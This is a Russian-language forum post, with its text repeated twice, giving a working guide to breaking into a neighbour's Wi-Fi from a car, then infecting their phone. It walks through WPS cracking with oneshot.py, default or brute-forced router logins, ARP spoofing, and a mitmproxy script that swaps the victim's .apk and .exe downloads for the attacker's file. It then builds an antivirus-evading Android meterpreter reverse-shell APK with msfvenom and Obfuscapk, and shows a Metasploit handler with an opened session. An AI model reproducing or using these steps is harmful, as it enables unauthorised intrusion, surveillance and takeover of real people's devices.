Всем привет.
Я искал по теме много, но ничего подобного не нашел, поэтому сделал сам. Поделюсь и с вами.
единственное, я не буду разжевывать совсем элементарные вещи, типа как скачать oneshot с помощью git clone и так далее. это должно быть на автоматизме у любого.
В общем, что нам понадобится:
oneshot.py - такой себе аналог всех вайфайтов аиргеддонов вайфайаутопвнеров, который работает даже с нокии без режима монитора
arpspoof - бинарная версия работает куда круче, чем что-либо
bettercap2 (чисто для визуализации процесса, + очень удобный net.sniff сниффер)
mitmproxy 6 dev - потужная штука
пару строчек кода на питоне.
msfvenom - генератор нашего импланта
msfconsole - хендлер нашего бекконекта
obfuskapk - опенсоурсный криптер для APK
0)
# ifconfig wlx00c0caa79483 down && maccenger -r wlx00c0caa79483
1) подтягиваемся в салоне своего тазика к окошку жертвы, открываем ноут, берем карту и направленную антенну, направляем в окошко жертвы и запускаем
# ./oneshot.py -i wlx00c0caa79483 -K -F
получаем список жертв, выбираем, получаем пароль.
если ты на линуксе -
# nano /etc/network/interfaces
если ты не на линуксе - ставь линукс.
далее, смотрим что мы в сетке
# ifconfig
увидишь что-то в духе, только со своим названием интерфейса.
2)
смотрим гейт:
# route -n
открываем в браузере 192.168.0.1 , там за частую висит морда роутера жертвы. admin:admin -> попадаем в роутер.
Если там не admin:admin -> то гуглим что там и попадаем в роутер. если не нагуглили, то пробуем так или брутим.
Зачем? чтобы вырубить client isolation и всякие сетевые экраны.
вырубили, идем далее
# nmap -sS -sV -T4 -O -Pn -T 5 192.168.0.0/24
либо кому как нравится, можно и bettercap2 -->
# net.sniff on; net.show ;
в принципе, жертву мы определили, пора ее спуфать. то есть орать на всю локалку что это я-роутер, а не он, отдавайте мне все свои пакеты.
для этого мы запустим mitmproxy. предварительно написав для него плагин redirect_requests.py
смысл скрипта простой, если митмпрокси видит, что жертва хочет скачать апк или pdf (для примера) - то она отправляется на наш сервер, вместо оригинального, где уже лежит заблаговременно подготовленный кто? правильно пэйлоад!
# mitmproxy --mode transparent --rawtcp --ssl-insecure --listen-host 192.168.0.113 --server --listen-port 8080 --anticomp --showhost --anticache -s ../complex/sslstrip.py -s redirect_requests.py
ничтяк. теперь нам нужно посмотреть все ли так как мы задумали и запустить arpspoof
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1
синтаксис понять не трудно. -t атакуемый, а после него без ключа гейт. то есть роутр.
пошел спуфинг, и если все сделано правильно то ты увидишь как пакетики идут через наш прозрачный прокси. но. но ты этого не увидишь, потому, что сперва нужно сделать форвардинг. а это штука занятная и я с тобой поделюсь одной херней которая будет работать. для начала вырубай свой iptables, iptables_legay и так далее. они все уже deprecated и скоро работать перестанут. пора изучать nf_tables.
так что вырубай arpspoof пока что!
сперва создадим конфиг mitm.conf
потом пишем:
# nft flush ruleset && nft -f /root/mitm.conf && nft list ruleset
в ответ ты должен увидеть примерно то, что записал в файл. значения могут меняться динамично, это нормально.
Конечно же не забываем включить форвардинг
# sysctl net.ipv4.conf.all.forwarding=1
# sysctl net.ipv6.conf.all.forwarding=1
должно все работать, йоу)
ах, да. еще один штрих.
идем в bettercap2 и пишем
help any.proxy
в принципе все и по дефолту должно работать. если нет то проставь значения.
и теперь на верочку
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1
все получилось? пакеты пошли через нас? теперь время разобраться с пэйлоадом )
открываем сервак по ssh и пишем
# msfvenom --platform android -a dalvik -p android/meterpreter/reverse_tcp LHOST=наш_ипи LPORT=4444 -o payload.apk
у нас получается payload.apk, только на него любой АВ будет лаять, как на солевого наркомана на 5х сутках. негоже.
по этому мы заюзаем Obfuscapk
# python3.7 -m obfuscapk.cli -p -w ~/Fatrat_Generated/obf/ -d ~/Fatrat_Generated/obf.apk -o ConstStringEncryption -o Nop -o Goto -o RandomManifest -o Rebuild -o NewSignature -o NewAlignment ~/Fatrat_Generated/app_backdoor.apk
полученный obf.apk положим на наш сервак и назовем его, к примеру, calc.apk
запускаем метасплоит
# msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
# handler -H 0.0.0.0 -P 4444 -n op6 -p android/meterpreter/reverse_tcp
все. ждем пока жертва запустит нагрузку.
p.s. не забудь вырубить arpspoof, чтобы не мешал.
на связи!
автор swagcat228
Я искал по теме много, но ничего подобного не нашел, поэтому сделал сам. Поделюсь и с вами.
единственное, я не буду разжевывать совсем элементарные вещи, типа как скачать oneshot с помощью git clone и так далее. это должно быть на автоматизме у любого.
В общем, что нам понадобится:
oneshot.py - такой себе аналог всех вайфайтов аиргеддонов вайфайаутопвнеров, который работает даже с нокии без режима монитора
arpspoof - бинарная версия работает куда круче, чем что-либо
bettercap2 (чисто для визуализации процесса, + очень удобный net.sniff сниффер)
mitmproxy 6 dev - потужная штука
пару строчек кода на питоне.
msfvenom - генератор нашего импланта
msfconsole - хендлер нашего бекконекта
obfuskapk - опенсоурсный криптер для APK
0)
# ifconfig wlx00c0caa79483 down && maccenger -r wlx00c0caa79483
1) подтягиваемся в салоне своего тазика к окошку жертвы, открываем ноут, берем карту и направленную антенну, направляем в окошко жертвы и запускаем
# ./oneshot.py -i wlx00c0caa79483 -K -F
получаем список жертв, выбираем, получаем пароль.
если ты на линуксе -
# nano /etc/network/interfaces
Код:
auto wlx00c0caa79483
allow-hotplug wlx00c0caa79483
iface wlx00c0caa79483 inet dhcp
wpa-essid target_name
wpa-psk target_passswd
далее, смотрим что мы в сетке
# ifconfig
Код:
wlx00c0caa79483: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.113 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::5c6f:c8ff:fe3c:e0e1 prefixlen 64 scopeid 0x20<link>
ether 5e:6f:c8:3c:e0:e1 txqueuelen 1000 (Ethernet)
RX packets 1100433 bytes 1173759849 (1.0 GiB)
RX errors 0 dropped 16688 overruns 0 frame 0
TX packets 630981 bytes 285821634 (272.5 MiB)
TX errors 0 dropped 1 overruns 0 carrier 0 collisions 0
2)
смотрим гейт:
# route -n
Код:
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.0.1 0.0.0.0 UG 0 0 0 wlx00c0caa79483
169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 wlx00c0caa79483
192.168.0.0 0.0.0.0 255.255.255.0 U 0 0 0 wlx00c0caa79483
открываем в браузере 192.168.0.1 , там за частую висит морда роутера жертвы. admin:admin -> попадаем в роутер.
Если там не admin:admin -> то гуглим что там и попадаем в роутер. если не нагуглили, то пробуем так или брутим.
Зачем? чтобы вырубить client isolation и всякие сетевые экраны.
вырубили, идем далее
# nmap -sS -sV -T4 -O -Pn -T 5 192.168.0.0/24
Код:
Nmap scan report for 192.168.0.103
Host is up (0.035s latency).
All 1000 scanned ports on 192.168.0.103 are closed (956) or filtered (44)
MAC Address: FE:F5:82:11:F9:0F (Unknown)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
# net.sniff on; net.show ;
Bash:
----------------T-------------------T-----------------T-------------------------------T-------T-------T----------¬
¦ IP ? ¦ MAC ¦ Name ¦ Vendor ¦ Sent ¦ Recvd ¦ Seen ¦
+---------------+-------------------+-----------------+-------------------------------+-------+-------+----------+
¦ 192.168.0.113 ¦ 5e:6f:c8:3c:e0:e1 ¦ wlx00c0caa79483 ¦ ¦ 0 B ¦ 0 B ¦ 09:17:23 ¦
¦ 192.168.0.1 ¦ c4:71:54:c3:9b:a6 ¦ gateway ¦ Tp-Link Technologies Co.,Ltd. ¦ 25 kB ¦ 27 kB ¦ 09:17:23 ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ 192.168.0.2 ¦ 30:b5:c2:d3:72:8a ¦ ¦ Tp-Link Technologies Co.,Ltd. ¦ 32 kB ¦ 28 kB ¦ 09:17:48 ¦
¦ 192.168.0.100 ¦ d0:03:df:1b:0f:b7 ¦ ¦ Samsung Electronics Co.,Ltd ¦ 0 B ¦ 0 B ¦ 09:17:36 ¦
¦ 192.168.0.102 ¦ c8:3d:dc:12:35:55 ¦ ¦ ¦ 30 kB ¦ 31 kB ¦ 09:17:48 ¦
¦ 192.168.0.103 ¦ fe:f5:82:11:f9:0f ¦ ¦ ¦ 23 kB ¦ 25 kB ¦ 09:17:46 ¦
¦ 192.168.0.104 ¦ b4:74:43:f9:b8:11 ¦ ¦ Samsung Electronics Co.,Ltd ¦ 38 kB ¦ 41 kB ¦ 09:17:46 ¦
¦ 192.168.0.106 ¦ 9c:4e:36:6b:1d:98 ¦ ¦ Intel Corporate ¦ 0 B ¦ 37 kB ¦ 09:17:36 ¦
L---------------+-------------------+-----------------+-------------------------------+-------+-------+-----------
в принципе, жертву мы определили, пора ее спуфать. то есть орать на всю локалку что это я-роутер, а не он, отдавайте мне все свои пакеты.
для этого мы запустим mitmproxy. предварительно написав для него плагин redirect_requests.py
Python:
import mitmproxy
import subprocess
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
if flow.request.host != "твой_серверр" and flow.request.pretty_url.endswith(".exe") or flow.request.pretty_url.endswith(".cab"):
print("[+] О, смотри, под винду что-то качает, гад")
#flow.request.host = "mitmproxy.org"
front_file = flow.request.pretty_url + "#"
flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://твой_сервер/EU.exe"})
print("[?] Осьо получи фашист гранату")
if flow.request.host != "твой_серверр" and flow.request.pretty_url.endswith(".apk") or flow.request.pretty_url.endswith(".pdf"):
print("[+] О, смотри, андроид что-то качает, гад")
front_file = flow.request.pretty_url + "#"
flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://твой_сервер/calc.apk"})
print("[?] Осьо получи фашист гранату")
# mitmproxy --mode transparent --rawtcp --ssl-insecure --listen-host 192.168.0.113 --server --listen-port 8080 --anticomp --showhost --anticache -s ../complex/sslstrip.py -s redirect_requests.py
ничтяк. теперь нам нужно посмотреть все ли так как мы задумали и запустить arpspoof
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1
синтаксис понять не трудно. -t атакуемый, а после него без ключа гейт. то есть роутр.
пошел спуфинг, и если все сделано правильно то ты увидишь как пакетики идут через наш прозрачный прокси. но. но ты этого не увидишь, потому, что сперва нужно сделать форвардинг. а это штука занятная и я с тобой поделюсь одной херней которая будет работать. для начала вырубай свой iptables, iptables_legay и так далее. они все уже deprecated и скоро работать перестанут. пора изучать nf_tables.
так что вырубай arpspoof пока что!
сперва создадим конфиг mitm.conf
Bash:
table ip filter {
chain FORWARD {
type filter hook forward priority 0; policy accept;
}
chain INPUT {
type filter hook input priority 0; policy accept;
}
chain OUTPUT {
type filter hook output priority 0; policy accept;
}
}
table ip nat {
chain PREROUTING {
type nat hook prerouting priority -100; policy accept;
iifname "wlx00c0caa79483" tcp dport http counter packets 97 bytes 5804 dnat to 192.168.0.113:http-alt
iifname "wlx00c0caa79483" tcp dport https counter packets 62 bytes 4231 dnat to 192.168.0.113:http-alt
iifname "wlx00c0caa79483" meta l4proto tcp ip daddr 192.168.0.0/24 tcp dport 80 counter packets 0 bytes 0 dnat to 192.168.0.113:8080
iifname "wlx00c0caa79483" meta l4proto tcp ip daddr 192.168.0.0/24 tcp dport 443 counter packets 0 bytes 0 dnat to 192.168.0.113:8080
}
chain INPUT {
type nat hook input priority 100; policy accept;
}
chain POSTROUTING {
type nat hook postrouting priority 100; policy accept;
oifname "wlx00c0caa79483" counter packets 0 bytes 0 masquerade
}
chain OUTPUT {
type nat hook output priority -100; policy accept;
}
}
потом пишем:
# nft flush ruleset && nft -f /root/mitm.conf && nft list ruleset
в ответ ты должен увидеть примерно то, что записал в файл. значения могут меняться динамично, это нормально.
Конечно же не забываем включить форвардинг
# sysctl net.ipv4.conf.all.forwarding=1
# sysctl net.ipv6.conf.all.forwarding=1
должно все работать, йоу)
ах, да. еще один штрих.
идем в bettercap2 и пишем
help any.proxy
Код:
any.proxy (not running): A firewall redirection to any custom proxy.
any.proxy on : Start the custom proxy redirection.
any.proxy off : Stop the custom proxy redirection.
Parameters
any.proxy.dst_address : Address where the proxy is listening. (default=<interface address>)
any.proxy.dst_port : Port where the proxy is listening. (default=8080)
any.proxy.iface : Interface to redirect packets from. (default=<interface name>)
any.proxy.protocol : Proxy protocol. (default=TCP)
any.proxy.src_address : Leave empty to intercept any source address. (default=)
any.proxy.src_port : Remote port to redirect when the module is activated. (default=80)
в принципе все и по дефолту должно работать. если нет то проставь значения.
Код:
192.168.0.0/24 > 192.168.0.113 » any.proxy on
[09:41:19] [sys.log] [inf] any.proxy Applied redirection [wlx00c0caa79483] (TCP) :80 -> 192.168.0.113:8080
и теперь на верочку
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1
все получилось? пакеты пошли через нас? теперь время разобраться с пэйлоадом )
открываем сервак по ssh и пишем
# msfvenom --platform android -a dalvik -p android/meterpreter/reverse_tcp LHOST=наш_ипи LPORT=4444 -o payload.apk
Код:
No encoder or badchars specified, outputting raw payload
Payload size: 10178 bytes
Saved as: payload.apk
по этому мы заюзаем Obfuscapk
# python3.7 -m obfuscapk.cli -p -w ~/Fatrat_Generated/obf/ -d ~/Fatrat_Generated/obf.apk -o ConstStringEncryption -o Nop -o Goto -o RandomManifest -o Rebuild -o NewSignature -o NewAlignment ~/Fatrat_Generated/app_backdoor.apk
Код:
Running obfuscators (NewAlignment): 100%|--------------------------------------------------------------------------------------------------------------------|[01:01<00:00, 8.84s/obfuscator]
files: 100%|---------------------------------------------------------------------------------------------------------------|[00:07<00:00, 984.63file/s]
запускаем метасплоит
# msfconsole
Код:
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v5.0.67-dev- ]
+ -- --=[ 1957 exploits - 1092 auxiliary - 336 post ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcpmsf5 exploit(multi/handler) >
# handler -H 0.0.0.0 -P 4444 -n op6 -p android/meterpreter/reverse_tcp
Код:
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 0.0.0.0:4444
Код:
[*] Sending stage (73560 bytes) to 79.110.129.176
[*] Meterpreter session 1 opened (твой_ип:4444 -> 79.110.129.176:25463) at 2020-01-06 11:14:42 +0300
sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter dalvik/android u0_a289 @ localhost твой_ип:4444 -> 79.110.129.176:25463 (fe80::805d:26ff:fec8:b98e)
p.s. не забудь вырубить arpspoof, чтобы не мешал.
на связи!
автор swagcat228